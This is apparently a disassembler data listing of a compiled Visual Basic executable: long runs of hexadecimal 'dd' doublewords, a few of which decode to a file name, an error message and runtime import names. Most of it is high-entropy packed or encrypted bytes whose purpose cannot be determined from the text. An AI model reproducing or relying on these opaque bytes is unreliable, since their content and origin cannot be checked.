dd 656B6361h, 78652E64h, 65h, 3Ah dup(0)
dd 61433300h, 746F6E6Eh, 6E696620h, 25272064h, 202E2773h
dd 61656C50h, 202C6573h, 692D6572h, 6174736Eh, 74206C6Ch
dd 20736968h, 6C707061h, 74616369h, 6E6F69h, 6E756854h
dd 614D5452h, 5F006E69h, 6162765Fh, 54726156h, 654E7473h
dd 4 dup(0)
dd 66E90000h, 6800001Ch, 618475Dh, 0FA3A94E9h, 485C68FFh
dd 8AE90618h, 68FFFA3Ah, 618493Ah, 0FA3A80E9h, 49C668FFh
dd 76E90618h, 68FFFA3Ah, 6184A05h, 0FA3A6CE9h, 4AEA68FFh
dd 62E90618h, 68FFFA3Ah, 6184B3Dh, 0FA3A58E9h, 4B8C68FFh
dd 4EE90618h, 68FFFA3Ah, 6185333h, 0FA3A44E9h, 53E068FFh
dd 3AE90618h, 68FFFA3Ah, 61854BAh, 0FA3A30E9h, 559F68FFh
dd 26E90618h, 68FFFA3Ah, 618562Fh, 0FA3A1CE9h, 571168FFh
dd 12E90618h, 68FFFA3Ah, 618578Dh, 0FA3A08E9h, 583568FFh
dd 0FEE90618h, 68FFFA39h, 6185EB0h, 0FA39F4E9h, 5FB568FFh
dd 0EAE90618h, 68FFFA39h, 6186069h, 0FA39E0E9h, 0CF3B2EFFh
dd 0E34D4131h, 0FB5D5545h, 11776D5Dh, 268E8373h, 4EBC1B88h
dd 6353F159h, 7A6A086Ch, 93832181h, 9E9D3B99h, 4DA4CC3Dh
dd 98AB7601h, 0B7150F46h, 0BDD94BB4h, 31918AA6h, 275E7C9Dh
dd 8DEBE5BDh, 82764CEFh, 3A31AE18h, 9D73FCA7h, 63D640A8h
dd 69FBA0A6h, 546B6DB7h, 3C39E904h, 89DFE244h, 0ADD546F1h
dd 0BC75FBF3h, 552BD66Eh, 0AE91FB5Dh, 0FBF3315Dh, 0B0906975h
dd 0FF5F582Eh, 6B61B895h, 2FA8DE30h, 4E000000h, 5CCD636Ah
dd 6FE90734h, 6259ED3Bh, 2C261967h, 9D0EB951h, 69FC079Ch
dd 0B5C5FADh, 75FBE8DFh, 8A5E3E17h, 0DE305C33h, 0BF7Ah
dd 150F2000h, 0D94BB4B7h, 1B3E270Dh, 0CE44E34h, 43ACAF17h
dd 606017D1h, 0B21C7769h, 7F82E0DAh, 0D371CFC9h, 0E9A4D848h
dd 2A847E6Fh, 0E49206DBh, 0E50D7EFDh, 0F46FE928h, 0D8760EA6h
dd 16B5F35h, 67C5BF97h, 7F020964h, 27BA63D4h, 75C369FBh
dd 0B84B42D7h, 0EB13840Dh, 0F275FB28h, 3EAF3AA4h, 700FCA0Fh
dd 9C25D01Eh, 967AA213h, 0D3816FEFh, 77E179DBh, 0A442AA9Fh
dd 6557BFB4h, 79436859h, 0C42ACFB2h, 6C000019h, 7F6F0D79h
dd 9383218Bh, 0AB9B399Bh, 0C1B14FB5h, 59C664CCh, 2F978CFEh
dd 46AAA191h, 5FBFB8A8h, 79D7D1C1h, 0A7BDCDBh, 76014EE2h
dd 0F84D6E9h, 2414B21Ah, 0DA2ECC2Ah, 8A80636Ah, 0E0087924h
dd 0EF6FE907h, 0ED5E09A1h, 69FB11ECh, 4E24CF1Dh, 0A386F05Ah
dd 0FB1E2652h, 0A5855E75h, 2F917AD1h, 0D1C1DEh, 0F670000h
dd 0FEB4B715h, 4D9EA109h, 6FE902DDh, 7D1B7973h, 3235938Dh
dd 0A7CF40C9h, 0B66FE90Bh, 8A81FE68h, 3AC34CF7h, 0DAF1A3C8h
dd 7306A653h, 6FE9834Bh, 279A0452h, 69FB827Eh, 0B1170DE3h
dd 0FEE58AEh, 83153DAEh, 0D62475FBh, 0C4BD933Eh, 14726C64h
dd 0D351BB11h, 9B44F3Eh, 0D7DA3A33h, 1B8C1781h, 701028FDh
dd 163EAF10h, 256FEFDDh, 22943FD7h, 2DF3CA42h, 42B35E89h
dd 6FEF5A1Ah, 0DE69D321h, 554B1308h, 0C9B957EFh, 3A7A6CD4h
dd 0BD7943A4h, 18C535DAh, 786B0000h, 8A7E6E0Ch, 9A928220h
dd 0B4AA9A38h, 0CBC0B04Eh, 0F958C563h, 902E968Bh, 0A745A9A0h
dd 0C05EBEB7h, 0DA78D6D0h, 0E1097ADBh, 0E876014Fh, 1A0F83D5h
dd 2A2414B2h, 0FDA2ECCh, 0FE5E5715h, 0A0DA5FBh, 51FC5A54h
dd 1F22827Bh, 4CE15FC9h, 0A617C241h, 69FB0EF9h, 66B7BA08h
dd 75FB0F3Ah, 0E5B99972h, 0DE2F868Eh, 0B4D5h, 80AD7B00h
dd 16C1404Bh, 2C911B8Dh, 5D3728CEh, 1BE380F3h, 148669FCh
dd 0BA2BDB0Bh, 75FB0892h, 0B5B74B99h, 0A584EE68h, 100A5D57h
dd 93C1864Fh, 0F761C7BDh, 45F0737Ah, 8340BFD4h, 0FD004E3Ch
dd 6D18ABA2h, 96B4A3FCh, 31CC3E3Eh, 0C9EF6809h, 351309Ah
dd 2A888258h, 1B77E98Ch, 8EF8EC19h, 2255FAh, 66C4BE96h
dd 0B9FEAE74h, 25CAADA6h, 17E7h, 4CEA5649h, 60FE685Ch
dd 78167870h, 8E2C9288h, 0A341A99Eh, 7469DB36h, 877E6E0Ch
dd 9C958523h, 0B4AE9E3Ch, 58B9B856h, 150BFE7h, 69BBCE76h
dd 0B4B7150Fh, 24CF5259h, 0FB0F06B3h, 2BC91769h, 3D80ADD7h
dd 70A7267h, 0C3CA47B1h, 87249540h, 9669FB2Fh, 0E5FB4E48h
dd 8AEED424h, 0E4550083h, 0EB3608CFh, 0B20D105Eh, 70CEC8BBh
dd 63BC2DD8h, 0AAF1255Ch, 0CA402FCh, 33918B61h, 4DABA595h
dd 0C59BD5Bh, 2A78AF8h, 175Bh, 0D876E2D5h, 0EC8AF4E8h
dd 4A204FCh, 1AB81E14h, 2FCD352Ah, 0F567C2h, 130AFA98h
dd 282111AFh, 403A2AC8h, 0E44544E2h, 1504B73h, 0ED3F5276h
dd 0C5B7150Fh, 7949F651h, 1C6207EAh, 14000017h, 2717B521h
dd 3B2BC933h, 5343E143h, 6959F75Dh, 16E0C74h, 0D73F34A6h
dd 0EE524939h, 7676050h, 217F7969h, 0B2238483h, 7601518Ah
dd 0F2C7E91h, 59B4B715h, 17756F52h, 0D1C6BE14h, 78106669h
dd 2FB35CCDh, 6CBA69FBh, 0AC6E4FC1h, 0FF3E541Dh, 0B051FB6Bh
dd 43ADDAE4h, 524C22C5h, 0A105FCF4h, 0A4DE489Eh, 0AB363598h
dd 35F28F00h, 0D523700Dh, 0A19A70DBh, 7EE83E41h, 41EE910Bh
dd 942F1EF3h, 0CD6378E9h, 74C206A3h, 2C171671h, 224ABB38h
dd 290AA3AEh, 0EA4043DBh, 481EA752h, 33958D51h, 0D842989Bh
dd 0B7210C65h, 7248D104h, 5D85187Ah, 6C0C98DFh, 6CAF8A1Eh
dd 0B9FF8CDEh, 7722704Fh, 444DA7A1h, 76E1F3FFh, 0D17412AAh
dd 0B2AFD748h, 70BE0C98h, 0D6342E06h, 9A4B28E4h, 771CFFDCh
dd 1637h, 0FC9A06F9h, 10AE180Ch, 28C62820h, 3EDC4238h
dd 53F1594Eh, 24198BE6h, 372E1EBCh, 4C4535D3h, 645E4EECh
dd 8696806h, 1516F97h, 196B7E76h, 0E9074C74h, 1793BF6Fh
dd 0E20E6FE9h, 5D6FE927h, 6FE90731h, 0FDEF4D47h, 7949F6FDh
dd 0E4862B0Eh, 4C000015h, 5F4FED59h, 7363016Bh, 8B7B197Bh
dd 0A1912F95h, 39A644ACh, 0F776CDEh, 268A8171h, 3F9F9888h
dd 59B7B1A1h, 0EA5BBCBBh, 760152C2h, 6A64B6C9h, 0AC35E063h
dd 0E78E2D6h, 0FB32CA9Bh, 3F35E369h, 0A14F41D9h, 567337C2h
dd 1595CE73h, 0A89B0000h, 0BAAE9E3Ch, 0CAC2B250h, 0E4DACA68h
dd 0FBF0E07Eh, 2988F593h, 0C05EC6BBh, 0D775D9D0h, 0F08EEEE7h
dd 0AA80600h, 1139AA0Bh, 18760152h, 150FB305h, 4FEB4B7h
dd 52EA5046h, 9B7B324Fh, 0E64E4319h, 7F489F7Ch, 3C8FD81Dh
dd 35000000h, 0E9074874h, 0DED5AB6Fh, 3E38107Ah, 22258980h
dd 77DFD4CCh, 0C89E41DFh, 1A6C6FCFh, 0A242A00Bh, 0CD37CFFAh
dd 0B2A7BB5Ah, 4DB6B96Fh, 0A82B53C4h, 0E4327044h, 150DB37Ah
dd 0F610000h, 59B4B715h, 14786F52h, 7823BB11h, 7567EEFh
dd 0B7656FE9h, 65C5FBDh, 879046Eh, 69FB2063h, 38FEF4A2h
dd 4043DB43h, 1FB452EAh, 79EA952Ch, 700D2868h, 561E13C1h
dd 0A3F9FC5Eh, 0BA1A130Bh, 0C6C961B7h, 61561810h, 0A3F565F9h
dd 21B574A6h, 3360EB89h, 496FE976h, 6A40EB55h, 54BEB270h
dd 6063FB51h, 0B44CB6AAh, 0E8DCCC4Ah, 0A0127B7Eh, 848933DCh
dd 6D45AF78h, 0F00C0F79h, 94885737h, 40978C2Ah, 87D81E1Dh
dd 24Eh, 0AA1408DEh, 0ABE751A7h, 2A90865Ch, 0B94843C0h
dd 8949D0Eh, 57A569FBh, 40AA9E54h, 54BEB2A2h, 25D40051h
dd 833C75FBh, 76E0D4A3h, 3BAC35D8h, 75FB2513h, 0E562CC1Ah
dd 90735FE6h, 686BCBC4h, 4A2E7E12h, 8F18C35Bh, 0FB9EF61Eh
dd 4DB70575h, 0C35851C2h, 0B301700Dh, 7C7147B0h, 655B1114h
dd 25FD67FFh, 3A2AC830h, 89DADD45h, 6FE9C45Fh, 5F2E0EC7h
dd 4AA8A26Ah, 8C7F14B2h, 0EBC14AF5h, 378D90F4h, 0F48D5ACDh
dd 67F069FBh, 0FB93CEF6h, 258FDD75h, 180FE546h, 0C85BB1B4h
dd 75FB93A0h, 0A50B01AFh, 1CB44CA2h, 0B696319h, 0D041CA6Dh
dd 75FB93A8h, 27FF69B7h
dd 7BCCCF2Dh, 75FB9353h, 4B1AFAB3h, 0D89C9351h, 267C7FDFh
dd 9D358B8Eh, 0B11B0FFFh, 9A04F8AEh, 0E2C27B97h, 19A21F13h
dd 0FB9380A8h, 0AE418F75h, 75FB9386h, 11AF4795h, 3006C51Ch
dd 0A60CDEh, 5CB20000h, 0BF299186h, 878AF2E7h, 7174DCD1h
dd 0EDBC9C55h, 0FE590F8h, 0CD4BB517h, 1D7E81D8h, 82C8D8h
dd 0F6E0000h, 360CB715h, 8F72DC3Eh, 0D681DFD9h, 7B4DC4Dh
dd 6DBB6FE9h, 716A2003h, 34A50E11h, 6FE9070Ch, 0D3CDC513h
dd 37B07275h, 0D18AE857h, 0CA2822F1h, 0F050491Fh, 0BC130886h
dd 3D81D7Eh, 40h, 3336E85Ah, 1013C763h, 5DB3B618h, 6A1F5BC5h
dd 0C435E063h, 69FB37F7h, 0C44DF846h, 0FB382B53h, 0DF413975h
dd 452892E0h, 0AB0F06DCh, 38A2CE41h, 1DA75FBh, 0AFF64D21h
dd 0AF3DDE2Fh, 0E3000000h, 64AAEA5Ch, 402617DBh, 0CF5259D6h
dd 2E6AB324h, 65B369FCh, 4EB8AC62h, 42370DB0h, 1781D7DAh
dd 0DEE14B3Fh, 1FCA3428h, 918B5549h, 42989B33h, 20D9F5D8h
dd 137D7140h, 7FCD275h, 0DD4A9C9Fh, 42A18C81h, 4C443CD4h
dd 2791E7EAh, 3060F34Ah, 1C12E8DEh, 4D134CB6h, 0B9000000h
dd 37E2616Ah, 16F9BEC6h, 2D2FA110h, 41095ABFh, 0A5F3D23Ch
dd 0C72F24FAh, 7376D6CFh, 67D0B31Dh, 693432F5h, 47B10186h
dd 0E8DDA8D4h, 7E5E1DEFh, 2822010Ah, 80F736CAh, 9BCDEEA6h
dd 0DFE75803h, 2E901611h, 76342E0h, 11000000h, 5520h, 170FCE00h
dd 3F980AB5h, 0A5766EA5h, 20D6B923h, 0C857C62Ch, 38591E06h
dd 0E98C9FC7h, 0C860AE6Fh, 0AEA29230h, 0E9E64144h, 18EE575Ah
dd 9F10BB23h, 6FE98C77h, 5BCE3886h, 90177E3Ch, 777AE4D8h
dd 6265CBC1h, 0FF6E4E05h, 9C705029h, 0D81CF545h, 0C798Ch
dd 6D6A3200h, 0E78ADBDEh, 4FE64232h, 6BC29676h, 0B261C8B2h
dd 2Eh, 0DE6D6A58h, 79AC233h, 53A16FE9h, 0F4F336A8h, 265573AAh
dd 0D1D4362Eh, 0DD2E117Bh, 0C69B5517h, 0C296764Fh, 8190BE6Bh
dd 2D5B2h, 6D6A5800h, 655D33DEh, 2D5D9903h, 0B7150FD1h
dd 0E13D360Ch, 8D366305h, 7520B846h, 0E999DC04h, 2B95E36Fh
dd 19A20DEFh, 0E90780A8h, 3C9E966Fh, 96E4E339h, 0C30AF02Ch
dd 98D51D86h, 0EDBBBC26h, 0DF496C1Eh, 38A6h, 6D6A4C00h
dd 39AA33DEh, 6FE90711h, 2460CA18h, 6FDD35Ch, 98C538A2h
dd 0A96FE907h, 0E2DAB05Bh, 5CDA1680h, 0A2170F22h, 0E9070931h
dd 2AC2106Fh, 201955CEh, 2Eh, 0DE6D6ACEh, 0BEEB5C82h, 296FE907h
dd 0CD7EF09Bh, 43CF7CEEh, 365ECF7Ah, 456FE9A6h, 5C518DF7h
dd 0B5170F22h, 0DA3C340Ah, 0DB1781D7h, 0A5741955h, 0EF7B9E03h
dd 4F492FAh, 27D2AC0Ah, 0F6F95751h, 695E36A0h, 91482701h
dd 36BD2FB1h, 8BA665B5h, 958F67D1h, 847CE0D7h, 0CD232690h
dd 54188A35h, 6189FA44h, 68846087h, 7FAB861Ah, 2F9A74DEh
dd 1827C3BDh, 0EA28BC22h, 59319B8Ch, 557DEE5Fh, 6484605Dh
dd 4AA47E16h, 0A932F5A3h, 605D1038h, 7A711F84h, 62D37E16h
dd 84605D3Ah, 0E889F341h, 0E13F3908h, 77352FE7h, 0C61C1F7Dh
dd 675C542Eh, 605DD704h, 0BE98E684h, 676AD0C6h, 0D142BBB1h
dd 84605DA9h, 0C7CA62B0h, 3DAC8C05h, 0F8C7A75Eh, 0EEA6A0FEh
dd 768E91F9h, 32988E80h, 217F792Fh, 3E35C1Eh, 7349F494h
dd 0C2181B79h, 55D7B758h, 0BA24887Fh, 0E785EDE2h, 0F49FFDF7h
dd 0C3C6241Eh, 1D7B756Dh, 784EF9B3h, 0D8B01A84h, 5D5380E3h
dd 0E0B68460h, 978E86E8h, 70DA3033h, 87EDE391h, 0BC962E84h
dd 841C8E0Fh, 0FEE5B9EEh, 0A7872892h, 2A20DED8h, 90C6A64h
dd 89831BB3h, 0CE79D7D1h, 2AACD445h, 65B38460h, 0C09641FBh
dd 0BEF862CCh, 572DD82Ch, 0A5FBFE5Eh, 0EBBA9A3Bh, 0E19993F1h
dd 6CDE89E7h, 0A52D4F70h, 698CD657h, 0FCEA4FBDh, 4840FA64h
dd 3F67D853h, 4E846037h, 4BBD6800h, 876FD338h, 8C46B03Bh
dd 4716F6ADh, 37958F4Dh, 643AA59Fh, 52B4AC6Ah, 8165B7BAh
dd 0B1A8BA2Ch, 9FDB45DDh, 5BB7150Fh, 616AD12Dh, 0F10D86E2h
dd 1D86C30Ah, 58EAD5h, 6A900000h, 288E8261h, 332CDF7Dh
dd 36CE66F2h, 91865CDAh, 7C702629h, 88827A12h, 67D1272Ah
dd 73E6BDCh, 54F6FE9h, 0F789CBD2h, 0B814AC9Eh, 3CA2EA5Ch
dd 1215776Fh, 9A9C28BCh, 86C04BB5h, 2CB51B0Fh, 11DD5B66h
dd 559AF68Eh, 92865C19h, 65CF2528h, 399Eh, 616A4C00h, 0D35C86E2h
dd 0E9073A62h, 9993416Fh, 4AE2383Bh, 0B7E455E0h, 206FE907h
dd 225C3692h, 6B11B0Fh, 7E743A30h, 91888018h, 6AD42A2Dh
dd 8E865C2Eh, 69D3292Ch, 21749BD7h, 0D36FE918h, 0FFFCE9ECh
dd 48749AFFh, 0B96FE907h, 9F8F2DBCh, 119A45A7h, 0E90778A0h
dd 0CF39876Fh, 7739BECh, 37E06FE9h, 0EBD9BCC5h, 44AE7CFDh
dd 0FCF4C3A3h, 0F566EF9Ah, 6FE9B0CDh, 0A6248EDCh, 0E1097A03h
dd 536FE9B0h, 0E6082353h, 42908F4Ah, 0A20C00D8h, 0C92721F7h
dd 0B53EE15Fh, 0E99E1C44h, 6BD5236Fh, 6366FDEEh, 0BFEDA112h
dd 18F8D12Dh, 66C8C096h, 0C6A30D63h, 1A74426Fh, 24AB6h
dd 865C5C00h, 0D0262991h, 7C6F366h, 32396FE9h, 0DE9304AFh
dd 0EF69FB03h, 1B1303A1h, 0C00B6B9h, 0FD6EF7A2h, 75FB0CD5h
dd 492C96E4h, 32359F93h, 0C93AD4D7h, 75FB0CA1h, 17C25AA8h
dd 0D2BB9A6h, 0A2139C70h, 6FE92C7Ah, 17883381h, 6FE92CEFh
dd 6746B0FEh, 0D1C72719h, 41247949h, 0DEE9Ch, 0E34F4200h
dd 0F7615545h, 0F716959h, 258B8171h, 3AA29787h, 62D02F9Ch
dd 7767056Dh, 8E7E1C80h, 0A7973595h, 0B2B14FADh, 5AB8E051h
dd 0B4C77601h, 0A4150F62h, 0E9070B33h, 2CC4126Fh, 50B4AB81h
dd 0AA8DF74Dh, 1AC55C4Fh, 0F1444FA9h, 0B5A01269h, 57FBE49Eh
dd 5A5E23B2h, 57EFE842h, 15C00EEDh, 58C2B68Ch, 1107FF55h
dd 716941ABh, 8981710Fh, 82F37C27h, 7601345Ah, 0C67F1361h
dd 32F775E7h, 0A1573AA4h, 0EB4649A7h, 0B5DD4EE0h, 0CB7601F5h
dd 247271D3h, 6370E18Ch, 0B27013FDh, 0A3A61004h, 0A1C3B54Dh
dd 0B6793F0Fh, 0D412ED3h, 0FCEF0000h, 0E02F290h, 1E1606A4h
dd 382E1EBCh, 4F4434D2h, 7DDC49E7h, 14B21A0Fh, 2BC92D24h
dd 44E2423Bh, 5EFC5A54h, 658DFE5Fh, 7476015Ah, 150F0F61h
dd 0D94BB4B7h, 0CF41380Ah, 8D0A7460h, 7C22079Eh, 0D0A50359h
dd 196F72DCh, 3180ED81h, 23DA70B7h, 8157E08Bh, 6D952888h
dd 7C6FE907h, 0C839C42Eh, 69FB1103h, 173CF842h, 1E706939h
dd 4B69DB86h, 62E1FC99h, 0BCAC2A94h, 31C664C2h, 8BFCA73Ah
dd 7004032Ah, 95BD2EB7h, 0A46FF401h, 1AAD243h, 63B16FF4h
dd 348261CBh, 59BBB389h, 71D3CBBBh, 362F056Eh, 9A946CD6h
dd 0F96A4C40h, 0F08835DBh, 89B92EDh, 0FFDFEC5Dh, 0CD2E6A05h
dd 200345Ch, 42ED3B76h, 200A9D1h, 0CA62B076h, 30FD7AD8h
dd 39DEC173h, 0C67h, 0CC6AD6C9h, 0E07EE8DCh, 0F896F8F0h
dd 0EAC1208h, 23C1291Eh, 0F4E95BB6h, 7FEEE8Ch, 1C1505A3h
dd 342E1EBCh, 0D83938D6h, 15B3F67h, 0E93B4E76h, 0B4B7150Fh
dd 24CF5259h, 9C94564Eh, 0AD38A23Ah, 0FB2C173Ch, 0FDA8F669h
dd 24CF2D27h, 0FB318BB3h, 0DA449275h, 0E786C5Ch, 2F7CD70h
dd 6058309Ah, 5C0C60FEh, 0BE289286h, 0CB74A41h, 0FB1C129Bh
dd 0C0D11B69h, 0E2037734h, 0B229FB38h, 5EF67143h, 4672C3C6h
dd 7E75FBB2h, 9AF1C5A5h, 0E1DE3025h, 94h, 511B0F87h, 9FF5F858h
dd 5A4E0407h
dd 9F379790h, 8AF0E69Ch, 24951E87h, 6FE907FCh, 7BEE657h
dd 7FCD6FE9h, 0F0C83280h, 0E60E7FFCh, 0F56FE907h, 0F36B13A7h
dd 8308D220h, 0B5B84DEBh, 4912832Eh, 5069FC00h, 0FE381002h
dd 0CEF7336h, 0B8267h, 4FBBAE00h, 63CDC1B1h, 7BDDD5C5h
dd 91F7EDDDh, 0A60E03F3h, 0CE3C9B08h, 0E3D371D9h, 0FAEA88ECh
dd 1303A101h, 1E1DBB19h, 5C244CBDh, 182B7601h, 0B11B0FC6h
dd 0A9FE7013h, 0F44DE06Dh, 7EC78EF8h, 75000000h, 0AEB11B0Fh
dd 0FE7B6F45h, 0E907658Dh, 8E26746Fh, 4ECB358Bh, 9019C45Fh
dd 0E907F71Fh, 0C1E95A6Fh, 0C86FE907h, 0C32D7B7Ah, 0E1D9AF38h
dd 0B5A2157Fh, 1869FB26h, 580D8DA6h, 0E168FC62h, 4B2A94C7h
dd 0DC3B0BFDh, 0FDE07337h, 0AF258h, 0DF4B3E00h, 0F35D5141h
dd 0B6D6555h, 21877D6Dh, 369E9383h, 5ECC2B98h, 73630169h
dd 8A7A187Ch, 0A3933191h, 0AEAD4BA9h, 5DB4DC4Dh, 0A8BB7601h
dd 0B7150F56h, 0A604FEB4h, 0EFCF86A3h, 1D7EC41Bh, 0EBE3B9D8h
dd 369A9189h, 3A73DD33h, 233h, 74EA5CE0h, 727D25ABh, 0D786C02Ah
dd 0AEFDF264h, 0F8A24DACh, 871A118Eh, 0B4CE6BDCh, 0F13F69FBh
dd 5CD9A4F7h, 4746A291h, 0B7A011BCh, 0C65F8010h, 830C7578h
dd 8011EA12h, 39A3F163h, 8732B1BCh, 0CE3028FEh, 8498F164h
dd 53015D93h, 6A88FF59h, 355C02BFh, 0D15A059Dh, 9B9E06FBh
dd 0F3554D45h, 58309AF0h, 7262005Eh, 0DD950778h, 2CD58EE7h
dd 0F7C5ED80h, 3D3F656Bh, 37676A54h, 31C51312h, 0E00E7C5Dh
dd 0BFD95EDh, 83C7C731h, 104EF3D6h, 2000000Ah, 3323C12Dh
dd 4737D53Fh, 5F4FED4Fh, 75650369h, 0D7A1880h, 0E34B40B2h
dd 0FA5E5545h, 13736C5Ch, 2D8B8575h, 0BE2F908Fh, 76015E96h
dd 0F4092A5h, 53AEB11Bh, 0AD1EC958h, 69F1428Ah, 10822D7Bh
dd 9647BB12h, 0A516C1ECh, 76012F7Dh, 49D43E8Ch, 7A187C73h
dd 2C2F938Ah, 9C47DAD1h, 1334CE2Bh, 46F13F70h, 77157970h
dd 292C9087h, 291B7973h, 793FD501h, 946207EAh, 9C000009h
dd 0AF9F3DA9h, 0C3B351BBh, 0DBCB69CBh, 0F1E17FE5h, 89F694FCh
dd 5FC7BC2Eh, 76DAD1C1h, 8FEFE8D8h, 0A90701F1h, 3AAB0C0Bh
dd 76015E12h, 29B40619h, 58B6B086h, 74B7BEEh, 75696FE9h
dd 5C52080Bh, 198AF3F6h, 6FE907F1h, 934CAAF8h, 0ECAB44B3h
dd 0E0EB9E0Ch, 0E845B661h, 1969FB0Ch, 0C19720CBh, 0E6467C9h
dd 5FD4CCA4h, 0FB11C6EEh, 0EF87D575h, 32B1BC51h, 658DFE87h
dd 7475FB11h, 686BCFC6h, 85107A12h, 0FAC1514h, 3FEA3870h
dd 73116F69h, 0A7188983h, 6FEFB47Fh, 0B6A8408Eh, 794348EAh
dd 0ECE58A6Dh, 44000008h, 5747E551h, 6B5BF963h, 83731173h
dd 9989278Dh, 319E3CA4h, 76F64D6h, 1E827969h, 37979080h
dd 51AFA999h, 0E253B4B3h, 76015FBAh, 745CAEC1h, 6FE90748h
dd 7ADED5ABh, 0E43E3810h, 0A18DD0E0h, 0A642D6B3h, 9F188F84h
dd 3208B34Bh, 0EC6AD43Eh, 197B7349h, 0A83B32AFh, 8DB38CFDh
dd 582E69FBh, 0B493FD61h, 0F0E5BB66h, 0C52F8588h, 0B6B643Ah
dd 24847D6Dh, 8717C21h, 5C2A0000h, 0BF299186h, 18BC4B42h
dd 3C171575h, 0F088EEE4h, 873CAD58h, 0A669FBE3h, 0B324AD58h
dd 75FBEC8Bh, 0F7DA4492h, 5FBFB88Eh, 0D070A5Ch, 68C53D36h
dd 0C7F366D0h, 0FF75FB1Fh, 0EEC44626h, 3D9396F4h, 929FF6D3h
dd 11E6DE2Fh, 8C000001h, 0B3B6160Fh, 9FA206FDh, 8E91EFE9h
dd 0E17FDFD8h, 9598F8F1h, 214ABA2Ch, 0F47343FBh, 3AA402FCh
dd 8530C1BDh, 0E9B0B414h, 8A8DDB6Fh, 0C5947433h, 0DECE6CCCh
dd 4DA85E5h, 51A7AA0Ch, 0C59B04E7h, 8F026CCCh, 6FE9AF6Bh
dd 8B815700h, 0D36BCDC5h, 19E8C869h, 143CAD20h, 1B6FE9B0h
dd 89B122CDh, 906FE9B0h, 770CAA42h, 110BEE7Bh, 75CAC042h
dd 91C132DDh, 986FE91Dh, 9A91474Ah, 1FF59836h, 7733C725h
dd 0B87B248Ch, 0F5ECC42Eh, 0B3258E91h, 0F1E8FE1Fh, 0A0348A8Dh
dd 64CECF9Bh, 8934928Ch, 19678F00h, 28766FE9h, 0C584DBBEh
dd 0BB1F16E5h, 0D2362D1Dh, 0EA7974CFh, 23A9CE3Fh, 0A5869FBh
dd 21857C6Ch, 36C7C31Eh, 0CE61A8Bh, 0B70575FBh, 99B39A0Ch
dd 0D308BEEAh, 702F8669h, 6CAC190h, 7412AA10h, 26298D84h
dd 9641C0CBh, 0DED5825h, 0DD5FA970h, 10E18A8Ah, 0FD044498h
dd 0AF008469h, 9C966C17h, 6656D43Eh, 7D6D0B6Fh, 32862484h
dd 8C80636Ah, 6EDF8A22h, 69FB1FC9h, 5AC0B68Ch, 18C311F0h
dd 0E4E74B42h, 8B41248Eh, 3B8F2D97h, 0DFE2616Ah, 0E907628Eh
dd 0E1C19A6Fh, 1D7AB60Dh, 75FDD8h, 5CA30000h, 0C22C8E86h
dd 7990F6EAh, 83F0304Bh, 9D0609A1h, 48A1132Bh, 6ED889ADh
dd 0E95CD3FBh, 84ECE16Fh, 73D1CB81h, 1C1F857Bh, 0B01FFFB8h
dd 0F6785817h, 0C925D84h, 9E32C407h, 0C263802Ah, 330B75D4h
dd 395BD93Fh, 50A9250Ch, 0CD9B0DB8h, 0D2FA6B4Eh, 0D96FE9B1h
dd 4181F78Bh, 27CA48B2h, 0FEFD5751h, 0A91CAD5Bh, 0D245AF47h
dd 6FE9996Ah, 0FF767158h, 5C1FFFFFh, 25289286h, 938D65CFh
dd 0EA04D935h, 86E2616Ah, 0CB3DC669h, 0E91B006Ch, 0E70FA2A4h
dd 0F66FE978h, 5C023EA8h, 0C32D8D86h, 1D869FE6h, 70C6D5h
dd 6A6C0000h, 5C86E261h, 35D84AD3h, 53CD649Ch, 8EBDE578h
dd 82CC6FE9h, 11A8463h, 329C34ACh, 0E97797BFh, 0FF71FA6Fh
dd 0F277F7C0h, 0EA12A5FDh, 0F16FE928h, 105A39A3h, 0E76FFA3Ah
dd 4DF8904Ah, 1B1E7E77h, 9B1941B2h, 0D2206FE9h, 5C94D03Ah
dd 90865C22h, 0F4E8C02Ah, 19552E8Ah, 0F47BEA5Ch, 0E5E6B432h
dd 21E470BBh, 52BC54E8h, 318Bh, 616A3900h, 0D35C86E2h
dd 7B1D94Ah, 6AB86FE9h, 7264EBFh, 0E7356FE9h, 7E20A7Dh
dd 0B5436FE9h, 0EA32980Ah, 815FD667h, 225CDB17h, 55B11B0Fh
dd 865C1955h, 0D52B2E8Ch, 791B92Ah, 4A986FE9h, 0AE1008E0h
dd 0D5332D03h, 0F37886Bh, 846FE907h, 1E16E5C5h, 0FC931EBCh
dd 886FE916h, 0FFF335A1h, 865C4FFFh, 0E7BF2991h, 56EB89F3h
dd 0AF21CC57h, 80FA854Dh, 0C04BB5C6h, 153DAE37h, 246FE922h
dd 28F96CD6h, 8169FB1Dh, 0F1C73033h, 0B72A94FCh, 75FB238Bh
dd 360AEAC3h, 0DE2F9ADFh, 0E26h, 820CC00h, 7F000000h, 4C4FB1A9h
dd 6A508CF6h, 0C435E063h, 69FB0FB3h, 73292C7Ah, 0EC77157Fh
dd 75FB1087h, 9B4140Dh, 6BD53F33h, 0A404FDEDh, 0C92B23F9h
dd 84647C5Fh, 71E26BF6h, 75FB1049h, 0F7980250h, 0C5BF9517h
dd 10BBE354h, 74C275FBh, 0A19A72DCh, 0B9B3A341h, 8F89815Bh
dd 0BCB08631h, 0E36A752h, 1D75FB10h, 0CCAB65CFh, 6C663515h
dd 0AF8140Eh, 0D89D86B3h, 0DAFAh, 0D35CA000h, 0E9073A62h
dd 0D67BAC6Fh, 41F51432h, 0D8AF442h, 5C248011h, 0E907BEEBh
dd 9CB1236Fh, 3221CB55h, 0DD6BF05Ah, 0FDD35C81h, 4CA2A503h
dd 70830A1h, 0C9176FE9h, 0EA5C235Fh, 0FCF1FAB8h, 9C3DA7DDh
dd 150F83B6h, 42360CB7h, 72C54C5h, 0E5336FE9h, 4A7E34Dh
dd 90865CEAh, 0E60E7F2Ah, 0F56FE907h, 0CFC03DA7h, 1569DC38h
dd 3A62D35Ch, 416FE907h, 65AC89F3h, 8CD51D87h, 35h, 0E2616A32h
dd 0A8686137h, 0F1474AB4h, 5CB3EF59h, 0E907C3EBh, 207CCA6Fh
dd 0D35C225Ch, 0E9073A62h, 9F93416Fh, 44DC3235h, 0A40E02DAh
dd 20195548h, 21h, 8C865CCEh, 4647C42Eh, 0EB5C63BFh, 6FE907C3h
dd 0D9413624h, 225CE541h, 5D511B0Fh, 55FF5BF3h, 0FF1D2019h
dd 0FCEFFFFh, 4BB4B715h, 0AD178175h
dd 946ADBD5h, 0DE34379Fh, 0E907234Bh, 44DC2A6Fh, 342D03A6h
dd 117BD1D4h, 5F0A9994h, 0A20C00D6h, 1E08C538h, 0EB3969FBh
